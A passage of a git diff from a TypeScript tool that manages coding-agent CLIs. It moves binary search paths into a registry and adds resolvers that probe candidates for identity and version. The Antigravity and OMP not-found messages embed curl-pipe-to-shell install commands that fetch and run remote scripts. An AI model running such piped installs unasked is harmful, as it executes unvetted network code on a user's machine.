down. + */ +export type EnvironmentBlockerKind = 'dockerfile-changed' | 'compose-changed' | 'env-keys-missing' | 'no-auto-restart'; + +/** One reason an in-place container update is refused, with UI-ready text. */ +export interface EnvironmentBlocker { + kind: EnvironmentBlockerKind; + /** One-line explanation shown in App Settings → Updates. */ + message: string; + /** Optional specifics (e.g. the names of the missing env keys). */ + details?: string[]; +} + +/** + * Result of the environment gate for a candidate release. `checked: false` means + * the gate did not run (not a container install, or the target tag's files could + * not be read) — callers must not treat that as "no blockers". + */ +export interface EnvironmentGate { + checked: boolean; + blockers: EnvironmentBlocker[]; + /** The host command that resolves every blocker. */ + hostCommand: string; +} /** * Lifecycle of a single update run. `idle`/`completed`/`failed`/ @@ -96,6 +145,8 @@ export interface UpdateCheckResult { /** epoch ms of the check. */ checkedAt: number; source: 'github-api' | 'git-ls-remote' | 'none'; + /** Environment gate for THIS candidate release (container installs only). */ + environment?: EnvironmentGate; error?: string; } diff --git a/src/utils/antigravity-cli-resolver.ts b/src/utils/antigravity-cli-resolver.ts index 85d25dd6..f42197eb 100644 --- a/src/utils/antigravity-cli-resolver.ts +++ b/src/utils/antigravity-cli-resolver.ts @@ -7,8 +7,8 @@ * @module utils/antigravity-cli-resolver */ -import { join } from 'node:path'; -import { homedir } from 'node:os'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage, @@ -16,14 +16,12 @@ import { } from './cli-executable-resolver.js'; /** Common directories where the Antigravity CLI binary may be installed */ -const ANTIGRAVITY_SEARCH_DIRS = [ - join(homedir(), '.local', 'bin'), - join(homedir(), '.antigravity', 'bin'), - '/usr/local/bin', - join(homedir(), '.bun', 'bin'), - join(homedir(), '.npm-global', 'bin'), - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const ANTIGRAVITY_SEARCH_DIRS = (): string[] => (getCli('antigravity')?.discovery.searchDirs ?? []).map(expandHome); const ANTIGRAVITY_NOT_FOUND = 'Antigravity CLI not found. Install with: curl -fsSL https://antigravity.google/cli/install.sh | bash'; diff --git a/src/utils/cli-executable-resolver.ts b/src/utils/cli-executable-resolver.ts index 1256c1bb..10bf9723 100644 --- a/src/utils/cli-executable-resolver.ts +++ b/src/utils/cli-executable-resolver.ts @@ -207,13 +207,23 @@ export function createProductionCliResolverHost(options: ProductionCliResolverHo export function createCliExecutableResolver( options: { binary: string; - searchDirs: string[]; + /** + * Where to look after the process PATH. A THUNK is accepted alongside an array so a + * caller sourcing its dirs from the CLI registry can defer the lookup: passing + * `searchDirs: FOO_SEARCH_DIRS()` evaluates at module import, which froze the dirs + * before a user `clis.json` or a `reloadCliRegistry()` could be seen. Resolved on each + * probe and each `diagnostics()` call — a handful of string ops, and only when a probe + * actually runs. + */ + searchDirs: string[] | (() => string[]); validateCandidate?: (path: string) => CandidateValidation; /** Clock injection for tests driving the failure backoff. Defaults to `Date.now`. */ now?: () => number; }, host: CliResolverHost = createProductionCliResolverHost() ): CliExecutableResolver { + const resolveSearchDirs = (): string[] => + typeof options.searchDirs === 'function' ? options.searchDirs() : options.searchDirs; if (!SAFE_BINARY_NAME.test(options.binary)) { throw new Error(`Unsafe CLI binary name: ${options.binary}`); } @@ -248,7 +258,7 @@ export function createCliExecutableResolver( cached = accept(host.findOnProcessPath(options.binary), 'process-path'); if (!cached) { - for (const dir of options.searchDirs) { + for (const dir of resolveSearchDirs()) { cached = accept(join(dir, options.binary), 'common-directory'); if (cached) break; } @@ -271,7 +281,7 @@ export function createCliExecutableResolver( processPath: host.processPath, shellPath: host.shellPath, shellArgs: [...host.shellArgs], - searchDirs: [...options.searchDirs], + searchDirs: [...resolveSearchDirs()], }), }; } diff --git a/src/utils/cli-launcher.ts b/src/utils/cli-launcher.ts new file mode 100644 index 00000000..2e483c3a --- /dev/null +++ b/src/utils/cli-launcher.ts @@ -0,0 +1,113 @@ +/** + * @fileoverview Implementations of the LAUNCHER profiles named by `discovery.launcherProfile`. + * + * A launcher CLI's binary is not the agent — it boots some further target — so two questions + * the registry normally answers from the binary alone have to be asked of that target: + * + * - `isCliRunnable(id)` — stricter than "is the binary on disk?" + * - `launcherDefaultTarget(entry)` — what to launch when the caller names no target + * + * The profile NAMES and their validation live in `config/cli-registry/profiles.ts`, which is + * kept free of imports so `schema.ts` can validate a name at load time. The implementations + * live here because they reach into resolvers that reach back into the registry, and holding + * them next to the names would close an import cycle. + * + * ⚠️ Everything in this file is keyed by PROFILE NAME, never by CLI id. A new launcher CLI + * adds a profile here and names it from its entry; it does not add a branch anywhere else. + * + * @module utils/cli-launcher + */ + +import { isDeepSeekRunnable, resolveDefaultDeepSeekProfile } from './deepseek-cli-resolver.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import type { CliEntry } from '../config/cli-registry/types.js'; +import { missingCliMessage, resolveCliBinDir } from './cli-resolver.js'; + +interface LauncherProfile { + /** Is the launcher usable, given that its binary resolved? */ + isRunnable(): boolean; + /** The target to launch when the caller named none, or null when there is none. */ + defaultTarget(): string | null; + /** + * Why a session cannot start, or null when it can — including why a SPECIFICALLY + * requested target will not work, which "is it runnable" alone cannot say. + */ + launchError(requestedTarget?: string): Promise; +} + +const LAUNCHER_PROFILES: Record = { + // `dsh` launches a profile from $DSH_HOME/profiles/. DeepSeek ships only + // `web`/`headless`/`base`, none of which can drive a terminal pane, so the terminal front + // door is always third-party: a perfectly-installed dsh with no TUI profile is installed + // but NOT runnable, and the two questions have genuinely different answers. + 'deepseek-profile': { + isRunnable: isDeepSeekRunnable, + defaultTarget: resolveDefaultDeepSeekProfile, + // Three distinct, actionable messages (binary missing / no pane-capable profile / + // the named profile is not pane-capable). Worth keeping distinct: a pane that dies + // instantly is the most confusing failure this mode can produce, and "not installed" + // would send the user to fix the wrong thing. + launchError: async (requestedTarget) => { + const { resolveDeepSeekLaunchError } = await import('./deepseek-cli-resolver.js'); + return resolveDeepSeekLaunchError(requestedTarget); + }, + }, +}; + +/** + * Why a session in this mode cannot start, or null when it can. + * + * For an ordinary CLI this is just "is the binary there?", answered with the not-found + * message that names where resolution looked. For a launcher CLI it defers to that CLI's own + * profile, which can be far more specific. + * + * `rawConfig` is the caller's per-CLI config object, read for the target the caller named + * (declared as `discovery.launcherTargetParam`) so the error can be about THAT target. + */ +export async function resolveCliLaunchError(mode: string, rawConfig?: Record): Promise { + const entry = getCli(mode); + if (!entry) return null; + + const profileName = entry.discovery.launcherProfile; + if (profileName !== undefined) { + const profile = LAUNCHER_PROFILES[profileName]; + if (!profile) return `${entry.label} is not runnable: its launcher profile is unavailable in this build.`; + const targetParam = entry.discovery.launcherTargetParam; + const requested = targetParam ? rawConfig?.[targetParam] : undefined; + return profile.launchError(typeof requested === 'string' ? requested : undefined); + } + + // No binary to find (`shell`) is never an error. + if (entry.discovery.binaries.length === 0) return null; + return resolveCliBinDir(mode) === null ? missingCliMessage(mode) : null; +} + +/** + * Is this CLI actually usable? For an ordinary CLI that is exactly "its binary resolved". + * For a launcher it is that AND whatever its profile demands. + * + * ⚠️ A named-but-unimplemented profile fails CLOSED. In practice `schema.ts` rejects such an + * entry at load time, so this is the second line of defence rather than the first — but the + * direction matters: offering a Run that always fails is worse than reporting unavailable. + */ +export function isCliRunnable(id: string): boolean { + const entry = getCli(id); + if (!entry) return false; + // No binary to find (`shell`): tmux-manager resolves the login shell in code. + const resolved = entry.discovery.binaries.length === 0 ? true : resolveCliBinDir(id) !== null; + const profileName = entry.discovery.launcherProfile; + if (profileName === undefined) return resolved; + const profile = LAUNCHER_PROFILES[profileName]; + if (!profile) return false; + return resolved && profile.isRunnable(); +} + +/** + * The launcher's default target, for the `launcherDefaultTarget` engine value. Null for + * every non-launcher CLI, which is what makes the corresponding launch arg drop out. + */ +export function launcherDefaultTarget(entry: CliEntry): string | null { + const profileName = entry.discovery.launcherProfile; + if (profileName === undefined) return null; + return LAUNCHER_PROFILES[profileName]?.defaultTarget() ?? null; +} diff --git a/src/utils/cli-resolver.ts b/src/utils/cli-resolver.ts new file mode 100644 index 00000000..f5ec006d --- /dev/null +++ b/src/utils/cli-resolver.ts @@ -0,0 +1,269 @@ +/** + * @fileoverview Registry-driven CLI binary resolution: look up ANY registered CLI's binary + * directory, version and not-found message from its `CliEntry`, with no per-CLI branch. + * + * This is a LAYER over `cli-executable-resolver.ts`, not a replacement for it. That module + * still owns the lookup chain (process PATH → the entry's search dirs → an interactive + * login shell), the negative cache and its doubling backoff, the marker-fenced login-shell + * parse, the `SIGKILL` timeouts and the vitest hermeticity gate — all of it deliberately + * untouched here, because those guards are load-bearing and separately tested. What this + * module adds is: where the parameters come from (the registry, rather than seven + * hand-written constant blocks) and what makes a candidate acceptable. + * + * CANDIDATE VALIDATION runs in a fixed order, and the order is the point: + * + * 1. IDENTITY (`discovery.identity`) — does the binary say it is the program we meant? + * Checked FIRST, because a version probe cannot tell an impostor from the real thing: + * Debian's `dsh` (dancer's shell) answers `--version` perfectly happily, and npm + * carries squatters for both `pi` and `grok`. + * 2. VERSION (`discovery.version`) — does its version output have the right shape? With + * `requireVersionMatch`, a mismatch means ABSENT rather than present-with-unknown- + * version, which is what a short, generic binary name needs. + * + * Both probes EXECUTE the candidate, which is exactly why both are gated off under vitest: + * a suite must never depend on — let alone run — whatever binary of that name the machine + * running it happens to carry. Tests inject probes instead. + * + * @module utils/cli-resolver + */ + +import { execFileSync } from 'node:child_process'; +import { homedir } from 'node:os'; +import { join } from 'node:path'; +import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; +import { compileVersionRegex, MAX_VERSION_OUTPUT } from '../config/cli-registry/patterns.js'; +import { getCli, resolveInstallCommandForPlatform } from '../config/cli-registry/registry.js'; +import { getClaudeCliVersion } from './claude-cli-resolver.js'; +import type { CliEntry } from '../config/cli-registry/types.js'; +import { + createCliExecutableResolver, + formatCliNotFoundMessage, + type CliExecutableResolver, + type CliResolverHost, +} from './cli-executable-resolver.js'; + +/** Expand a leading `~` to the home directory. Nothing else is interpreted. */ +export function expandHome(dir: string): string { + if (dir === '~') return homedir(); + if (dir.startsWith('~/')) return join(homedir(), dir.slice(2)); + return dir; +} + +/** + * Run ` ` and return its trimmed output, truncated to the cap a + * config-supplied regex is allowed to see. + * + * Returns null under vitest — see this file's header. This is defense in depth rather than + * the only gate (the shared resolver host is already inert under vitest), and it is what + * makes the "resolve nothing even against a real on-disk fixture" behaviour hold for a + * test that opts back into real filesystem IO. + */ +function probeCommandOutput(binPath: string, arg: string, logPrefix: string): string | null { + if (process.env.VITEST) return null; + try { + return execFileSync(binPath, [arg], { + encoding: 'utf-8', + timeout: EXEC_TIMEOUT_MS, + stdio: ['ignore', 'pipe', 'ignore'], + // execFileSync's `timeout` only SENDS the signal and then keeps waiting. A stuck or + // hostile binary that ignores SIGTERM would survive it and block the server. + killSignal: 'SIGKILL', + }) + .trim() + .slice(0, MAX_VERSION_OUTPUT); + } catch (err) { + console.warn(`[${logPrefix}] Ignoring ${binPath}: "${arg}" failed (${(err as Error).message})`); + return null; + } +} + +/** What a candidate probe reports back. `version` is undefined when none was declared. */ +export interface CliCandidateProbeResult { + accepted: boolean; + version?: string; +} + +/** A probe hook, so tests can drive resolution without executing anything. */ +export type CliCandidateProbe = (binPath: string, entry: CliEntry) => CliCandidateProbeResult; + +/** + * The production probe: identity first, then version. A CLI declaring neither is accepted + * on existence alone, which is the common case (opencode, codex, gemini, antigravity). + */ +export function probeCliCandidate(binPath: string, entry: CliEntry): CliCandidateProbeResult { + const logPrefix = `CliResolver:${entry.id as string}`; + const { identity, version } = entry.discovery; + + if (identity) { + const pattern = compileVersionRegex(identity.regex); + if (!pattern) { + console.warn(`[${logPrefix}] identity.regex was rejected as unsafe; refusing every candidate.`); + return { accepted: false }; + } + const out = probeCommandOutput(binPath, identity.arg, logPrefix); + if (out === null || !pattern.test(out)) { + console.warn(`[${logPrefix}] Ignoring ${binPath}: "${identity.arg}" did not identify it as ${entry.label}.`); + return { accepted: false }; + } + } + + if (!version) return { accepted: true }; + + const out = probeCommandOutput(binPath, version.arg, logPrefix); + const pattern = version.regex ? compileVersionRegex(version.regex) : null; + const found = out !== null && pattern ? (pattern.exec(out)?.[1] ?? undefined) : undefined; + + if (found === undefined && version.requireVersionMatch) { + // A `which` hit is not evidence for a short, generic or squatted binary name. + console.warn(`[${logPrefix}] Ignoring ${binPath}: "${version.arg}" printed ${JSON.stringify(out?.slice(0, 80))}`); + return { accepted: false }; + } + return { accepted: true, version: found }; +} + +/** + * A resolver for one registry entry. An entry may declare several binary names (first hit + * wins), so this holds one underlying resolver per name and returns the first that + * resolves — which is also what keeps each name's own negative cache and backoff intact. + */ +interface RegistryResolver { + resolveDir(): string | null; + getVersion(): string | null; + notFoundMessage(base: string): string; +} + +function createRegistryResolver( + entry: CliEntry, + probe: CliCandidateProbe = probeCliCandidate, + host?: CliResolverHost, + now?: () => number +): RegistryResolver { + const searchDirs = entry.discovery.searchDirs.map(expandHome); + const perBinary: CliExecutableResolver[] = entry.discovery.binaries.map((binary) => + createCliExecutableResolver( + { + binary, + searchDirs, + validateCandidate: (binPath) => { + const result = probe(binPath, entry); + return result.accepted ? { accepted: true, metadata: result.version } : { accepted: false }; + }, + now, + }, + host + ) + ); + + const first = () => { + for (const resolver of perBinary) { + const resolution = resolver.resolve(); + if (resolution) return resolution; + } + return null; + }; + + return { + resolveDir: () => first()?.directory ?? null, + getVersion: () => first()?.metadata ?? null, + notFoundMessage: (base) => + // Diagnostics come from the FIRST declared binary: every name shares the same search + // dirs, PATH and login shell, so the extra copies would say the same thing twice. + perBinary.length > 0 ? formatCliNotFoundMessage(base, perBinary[0].diagnostics()) : base, + }; +} + +/** + * Build an isolated resolver for `entry` around an injected probe, host and clock — the + * test seam. Omitting `probe` keeps the ambient, VITEST-gated one, which is exactly what + * the hermeticity tests exercise. + */ +export function createCliResolverForTest( + entry: CliEntry, + probe?: CliCandidateProbe, + host?: CliResolverHost, + now?: () => number +): RegistryResolver { + return createRegistryResolver(entry, probe ?? probeCliCandidate, host, now); +} + +/** + * One memoized resolver per id, for the process lifetime — the same caching the per-CLI + * modules already do for themselves, just keyed by id so generic code holding only a + * `CliId` string can resolve a CLI it knows nothing else about, custom entries included. + */ +const resolvers = new Map(); + +function resolverFor(id: string): RegistryResolver | null { + const cached = resolvers.get(id); + if (cached) return cached; + const entry = getCli(id); + // `shell` declares no binary: tmux-manager resolves the real login shell in code. + if (!entry || entry.discovery.binaries.length === 0) return null; + const resolver = createRegistryResolver(entry); + resolvers.set(id, resolver); + return resolver; +} + +/** + * Drop the memoized resolver for `id` so the next lookup re-probes from scratch instead of + * replaying a cached negative result and waiting out a backoff window already in progress. + */ +export function invalidateCliResolverCache(id?: string): void { + if (id === undefined) resolvers.clear(); + else resolvers.delete(id); +} + +/** The directory containing this CLI's binary, or null when it cannot be found. */ +export function resolveCliBinDir(id: string): string | null { + return resolverFor(id)?.resolveDir() ?? null; +} + +/** Is this CLI's binary present? Note: for a launcher CLI this is NOT the same as runnable. */ +export function isCliAvailable(id: string): boolean { + return resolveCliBinDir(id) !== null; +} + +/** The version the resolved binary reported, or null when unresolved or none was declared. */ +export function resolveCliVersion(id: string): string | null { + return resolverFor(id)?.getVersion() ?? null; +} + +/** + * "CLI not found" message for `id`, with bounded PATH/login-shell/search-dir diagnostics + * appended so the error names where resolution actually looked. Returns null for an id with + * no binary to find (`shell`) or one that is not registered at all. + */ +export function missingCliMessage(id: string): string | null { + const entry = getCli(id); + if (!entry || entry.discovery.binaries.length === 0) return null; + const install = resolveInstallCommandForPlatform(entry); + const base = install + ? `${entry.label} CLI not found. Install with: ${install}` + : `${entry.label} CLI not found (looked for ${entry.discovery.binaries.join(', ')}).`; + return resolverFor(id)?.notFoundMessage(base) ?? base; +} + +/** + * The version to stamp on a SESSION in this mode. + * + * ⚠️ Dispatched on DATA, not on an id, and the field it dispatches on is the one that + * describes the difference: `discovery.version.retryOnTransientFailure`. + * + * Claude needs a probe policy no other CLI does. A single failed `claude --version` — a 5s + * timeout, a PATH-starved systemd unit, a transient fs hiccup — used to be cached forever, + * which silently disabled wheel-forwarding to Claude's own transcript for every session + * until the server restarted (the only route to history in repaint mode: a dead wheel on + * every device at once). `getClaudeCliVersion()` caches success forever and retries failure + * with backoff, and that policy has to be preserved exactly, so this routes to it rather + * than reimplementing it generically. + * + * Everything else goes through the ordinary registry resolver, which is the point: the + * caller asks `cliNeedsVersionProbe()` whether this CLI gates anything on its version and + * then asks HERE for that CLI's version. Before this, all three call sites asked + * `cliNeedsVersionProbe()` a generic question and then called `getClaudeCliVersion()` + * unconditionally — so the first non-claude entry to declare a `capabilities.gates` would + * have had CLAUDE's version stamped on its sessions and its gate evaluated against it. + */ +export function resolveSessionCliVersion(mode: string): string | null { + return getCli(mode)?.discovery.version?.retryOnTransientFailure ? getClaudeCliVersion() : resolveCliVersion(mode); +} diff --git a/src/utils/codex-cli-resolver.ts b/src/utils/codex-cli-resolver.ts index 6a3f73c0..ccf4dd03 100644 --- a/src/utils/codex-cli-resolver.ts +++ b/src/utils/codex-cli-resolver.ts @@ -7,21 +7,18 @@ * @module utils/codex-cli-resolver */ -import { join } from 'node:path'; -import { homedir } from 'node:os'; import { spawn } from 'node:child_process'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage } from './cli-executable-resolver.js'; import { parseCodexRateLimitsResponse, type StatusTelemetry } from '../usage-telemetry.js'; -/** Common directories where the Codex CLI binary may be installed */ -const CODEX_SEARCH_DIRS = [ - join(homedir(), '.codex', 'bin'), // Default install location - join(homedir(), '.local', 'bin'), // Alternative install location - '/usr/local/bin', // Homebrew / system - join(homedir(), '.bun', 'bin'), // Bun global - join(homedir(), '.npm-global', 'bin'), // npm global - join(homedir(), 'bin'), // User bin -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const CODEX_SEARCH_DIRS = (): string[] => (getCli('codex')?.discovery.searchDirs ?? []).map(expandHome); const CODEX_BINARY = process.platform === 'win32' ? 'codex.exe' : 'codex'; const codexResolver = createCliExecutableResolver({ binary: CODEX_BINARY, searchDirs: CODEX_SEARCH_DIRS }); diff --git a/src/utils/deepseek-cli-resolver.ts b/src/utils/deepseek-cli-resolver.ts index c6e18950..8b6694a8 100644 --- a/src/utils/deepseek-cli-resolver.ts +++ b/src/utils/deepseek-cli-resolver.ts @@ -35,6 +35,8 @@ import { existsSync, readdirSync, readFileSync } from 'node:fs'; import { join } from 'node:path'; import { homedir } from 'node:os'; import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage, @@ -49,12 +51,12 @@ import { * user's prefix points. `~/.local/bin` heads the list because it is the default * for a prefix-relocated npm (and is where this box's install landed). */ -const DEEPSEEK_SEARCH_DIRS = [ - join(homedir(), '.local', 'bin'), - '/usr/local/bin', - join(homedir(), '.npm-global', 'bin'), - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const DEEPSEEK_SEARCH_DIRS = (): string[] => (getCli('deepseek')?.discovery.searchDirs ?? []).map(expandHome); /** * A real `dsh --version` prints a bare `0.1.1-rc.2` (measured, 0.1.1-rc.2), so diff --git a/src/utils/gemini-cli-resolver.ts b/src/utils/gemini-cli-resolver.ts index 45936d60..a1903a92 100644 --- a/src/utils/gemini-cli-resolver.ts +++ b/src/utils/gemini-cli-resolver.ts @@ -7,19 +7,17 @@ * @module utils/gemini-cli-resolver */ -import { join } from 'node:path'; -import { homedir } from 'node:os'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage } from './cli-executable-resolver.js'; /** Common directories where the Gemini CLI binary may be installed */ -const GEMINI_SEARCH_DIRS = [ - join(homedir(), '.gemini', 'bin'), - join(homedir(), '.local', 'bin'), - '/usr/local/bin', - join(homedir(), '.bun', 'bin'), - join(homedir(), '.npm-global', 'bin'), - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const GEMINI_SEARCH_DIRS = (): string[] => (getCli('gemini')?.discovery.searchDirs ?? []).map(expandHome); const geminiResolver = createCliExecutableResolver({ binary: 'gemini', searchDirs: GEMINI_SEARCH_DIRS }); const GEMINI_NOT_FOUND = 'Gemini CLI not found. Install with: npm install -g @google/gemini-cli'; diff --git a/src/utils/grok-cli-resolver.ts b/src/utils/grok-cli-resolver.ts index f0f9f26a..5d5f324e 100644 --- a/src/utils/grok-cli-resolver.ts +++ b/src/utils/grok-cli-resolver.ts @@ -20,9 +20,9 @@ */ import { execFileSync } from 'node:child_process'; -import { join } from 'node:path'; -import { homedir } from 'node:os'; import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; import { createCliExecutableResolver, formatCliNotFoundMessage, @@ -30,12 +30,12 @@ import { } from './cli-executable-resolver.js'; /** Common directories where the Grok CLI binary may be installed */ -const GROK_SEARCH_DIRS = [ - join(homedir(), '.grok', 'bin'), - join(homedir(), '.local', 'bin'), - '/usr/local/bin', - join(homedir(), 'bin'), -]; +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + */ +const GROK_SEARCH_DIRS = (): string[] => (getCli('grok')?.discovery.searchDirs ?? []).map(expandHome); /** * A real `grok --version` prints `grok 1.0.5 (5115b46bc9)` (measured, 1.0.5). diff --git a/src/utils/index.ts b/src/utils/index.ts index 9b64d63f..502c5c35 100644 --- a/src/utils/index.ts +++ b/src/utils/index.ts @@ -67,3 +67,4 @@ export { export type { DeepSeekProfile, DeepSeekProfileKind } from './deepseek-cli-resolver.js'; export { compileFileQuery, matchFileQuery } from './file-query.js'; export type { FileQueryMatcher } from './file-query.js'; +export { resolveOmpDir, isOmpAvailable, getOmpNotFoundMessage, getOmpCliVersion } from './omp-cli-resolver.js'; diff --git a/src/utils/omp-cli-resolver.ts b/src/utils/omp-cli-resolver.ts new file mode 100644 index 00000000..9c169366 --- /dev/null +++ b/src/utils/omp-cli-resolver.ts @@ -0,0 +1,139 @@ +/** + * @fileoverview Resolve the OMP CLI binary across common install paths. + * + * Uses the shared `createCliExecutableResolver` (cli-executable-resolver.ts), + * same as the sibling claude/opencode/codex/gemini/antigravity/pi resolvers: + * server process PATH first, then common install directories, then — last, + * because it is the only step that spawns anything — an interactive login + * shell, which is what finds nvm/Homebrew/user-npm installs when Codeman runs + * as a systemd/launchd service with a minimal PATH. + * + * Provides an augmented PATH directory for tmux sessions. + * + * @module utils/omp-cli-resolver + */ + +import { execFileSync } from 'node:child_process'; +import { EXEC_TIMEOUT_MS } from '../config/exec-timeout.js'; +import { getCli } from '../config/cli-registry/registry.js'; +import { expandHome } from './cli-resolver.js'; +import { + createCliExecutableResolver, + formatCliNotFoundMessage, + type CliResolverHost, +} from './cli-executable-resolver.js'; + +/** + * Directories probed after `which`, read from this CLI's registry entry so the spawn + * path, `codeman doctor` and this resolver cannot disagree about where to look. + * `~` is expanded by `expandHome`; nothing else is interpreted. + * + * `~/.local/bin` still leads, for the reason it always did: omp.sh's installer targets it + * with no `--dir` override (verified against a real `--no-cache` docker build), while + * `~/.omp/bin` was an unverified guess that turned out wrong and is kept as a fallback. + */ +const OMP_SEARCH_DIRS = (): string[] => (getCli('omp')?.discovery.searchDirs ?? []).map(expandHome); + +/** + * A real `omp --version` prints `omp/` (e.g. `omp/17.4.0`). + * + * Shape mirrors PI_VERSION_REGEX: a capturing group and a leading boundary so + * `omp/17.4.0` matches while an unrelated `omp` (some other program) does not. + */ +export const OMP_VERSION_REGEX = /(?:^|\s)omp\/(\d+\.\d+\.\d+)/; + +const OMP_NOT_FOUND = 'OMP CLI not found. Install with: curl -fsSL https://omp.sh/install | sh'; + +/** + * Run `omp --version` on a candidate path and return the trimmed version when + * it looks like the coding agent. Returns null for anything else — a missing + * binary, a non-zero exit, a hang (timeout), or output that is not + * `omp/`-shaped (which is how an unrelated `omp` on PATH gets rejected). + * + * Never runs under vitest: the suites must stay hermetic and must not depend on + * whether the dev box happens to have omp installed. The shared resolver host + * is already inert under vitest, so this gate is defense in depth for any + * opted-in host that still carries the default probe. + */ +function probeOmpVersion(binPath: string): string | null { + if (process.env.VITEST) return null; + try { + const out = execFileSync(binPath, ['--version'], { + encoding: 'utf-8', + timeout: EXEC_TIMEOUT_MS, + stdio: ['ignore', 'pipe', 'ignore'], + // A stuck or hostile `omp` that ignores SIGTERM would survive the timeout + // and block the server (execFileSync keeps waiting after the signal). + killSignal: 'SIGKILL', + }).trim(); + const candidate = OMP_VERSION_REGEX.exec(out)?.[1]; + if (candidate) return candidate; + console.warn(`[OmpResolver] Ignoring ${binPath}: "omp --version" printed ${JSON.stringify(out.slice(0, 80))}`); + } catch (err) { + console.warn(`[OmpResolver] Ignoring ${binPath}: "omp --version" failed (${(err as Error).message})`); + } + return null; +} + +type OmpVersionProbe = (binPath: string) => string | null; + +function createOmpResolver( + host?: CliResolverHost, + versionProbe: OmpVersionProbe = probeOmpVersion, + now?: () => number +) { + return createCliExecutableResolver( + { + binary: 'omp', + searchDirs: OMP_SEARCH_DIRS, + validateCandidate: (binPath) => { + const version = versionProbe(binPath); + return version ? { accepted: true, metadata: version } : { accepted: false }; + }, + now, + }, + host + ); +} + +/** + * Creates an isolated OMP wrapper around an injected host, version probe and + * clock. Omitting `versionProbe` keeps the ambient (VITEST-gated) probe, which + * is exactly what the hermeticity test exercises. + */ +export function createOmpResolverForTest(host: CliResolverHost, versionProbe?: OmpVersionProbe, now?: () => number) { + return createOmpResolver(host, versionProbe ?? probeOmpVersion, now); +} + +const ompResolver = createOmpResolver(); + +/** + * Finds the directory containing a verified `omp` binary. + * Checks `which omp` first, then falls back to common install locations. Every + * candidate must pass the `omp --version` sanity probe before it is accepted. + * + * @returns Directory path, or null if not found + */ +export function resolveOmpDir(): string | null { + return ompResolver.resolve()?.directory ?? null; +} + +/** + * Check if the OMP CLI is available on the system. + */ +export function isOmpAvailable(): boolean { + return resolveOmpDir() !== null; +} + +export function getOmpNotFoundMessage(): string { + return formatCliNotFoundMessage(OMP_NOT_FOUND, ompResolver.diagnostics()); +} + +/** + * Version reported by the resolved `omp` binary, or null when omp is + * unavailable. Surfaced through `GET /api/omp/status` so a misresolution is + * diagnosable from the UI. + */ +export function getOmpCliVersion(): string | null { + return ompResolver.resolve()?.metadata ?? null; +} diff --git a/src/utils/omp-session-resolver.ts b/src/utils/omp-session-resolver.ts new file mode 100644 index 00000000..e01ac00a --- /dev/null +++ b/src/utils/omp-session-resolver.ts @@ -0,0 +1,192 @@ +/** + * @fileoverview Resolve the real OMP session id for a working directory, so a + * relaunch can pass `--resume ` instead of the ambiguous `--continue`. + * + * `omp` persists each conversation as its own file under + * `~/.omp/agent/sessions//_.jsonl` + * (workingDir mangled the same way Claude Code mangles `~/.claude/projects/*`: + * every `/` replaced with `-`). `--continue` picks whichever file in that + * directory is newest, which silently drifts to the WRONG conversation the + * moment two Codeman sessions ever touch the same directory — exactly what a + * closed-then-resumed row plus a still-running duplicate produces. Resolving + * the id once and pinning it with `--resume` removes that ambiguity for every + * later relaunch of the same Codeman session. + * + * @module utils/omp-session-resolver + */ + +import { closeSync, openSync, readdirSync, readSync, statSync } from 'node:fs'; +import { homedir } from 'node:os'; +import { join, sep } from 'node:path'; + +/** A real OMP session file is `_.jsonl`; only the uuid matters here. */ +const OMP_SESSION_FILE_PATTERN = /^.+_([a-zA-Z0-9-]+)\.jsonl$/; + +/** + * Mirrors `omp`'s own directory mangling. Confirmed empirically against real + * `~/.omp/agent/sessions/` directory names (2026-08-27): unlike Claude Code's + * `~/.claude/projects/*`, which keeps the home prefix (`-home-user-dev-foo`), + * omp collapses a home-relative workingDir to its home-relative remainder + * FIRST (`/home/user/dev/foo` -> `/dev/foo`) and only then dash-replaces + * (`-dev-foo`) — a path outside $HOME (e.g. `/tmp/...`) is dash-replaced as-is. + * Getting this wrong doesn't error, it just silently returns an empty + * directory listing: findLatestOmpSessionId() below then always falls through + * to null, so continuation pinning quietly degrades to omp's own ambiguous + * `--continue` for every case under $HOME (i.e. virtually all real Codeman + * cases) while appearing to work in `/tmp`-based manual testing. + * Pure so it's unit-testable without touching the filesystem. + */ +export function mangleOmpWorkingDir(workingDir: string): string { + // UNVERIFIED EDGE CASE: if $HOME is itself a symlink, this compares against + // the literal homedir() string, not a realpath()-resolved one. Whether that + // matches omp's own behavior is unconfirmed — we only empirically verified + // omp strips a literal $HOME prefix (2026-08-27), not that it canonicalizes + // symlinks first. Do not "fix" this with realpathSync() without confirming + // omp's actual behavior on a symlinked-home setup; guessing wrong here would + // trade one silent mismatch for a different one. + const home = homedir(); + const relative = + workingDir === home || workingDir.startsWith(home + sep) ? workingDir.slice(home.length) : workingDir; + return relative.replace(/\//g, '-'); +} + +/** + * `~/.omp` — omp's own env overrides are mostly `PI_*` (shared with pi 